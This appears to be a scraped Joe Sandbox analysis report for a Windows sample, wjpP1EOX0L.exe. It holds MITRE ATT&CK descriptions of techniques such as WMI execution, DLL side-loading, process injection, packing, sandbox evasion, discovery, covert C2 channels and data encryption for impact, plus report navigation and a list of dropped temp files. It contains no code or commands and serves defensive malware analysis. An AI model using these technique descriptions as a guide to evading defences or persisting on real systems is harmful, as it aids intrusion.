Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wjpP1EOX0L.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll

C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp

C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_iscrypt.dll

C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

C:\Users\user\AppData\Local\Temp\mo6x\3bzcw9.cfg (copy)

C:\Users\user\AppData\Local\Temp\mo6x\AstCrp.dll (copy)

Windows Analysis Report
wjpP1EOX0L.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre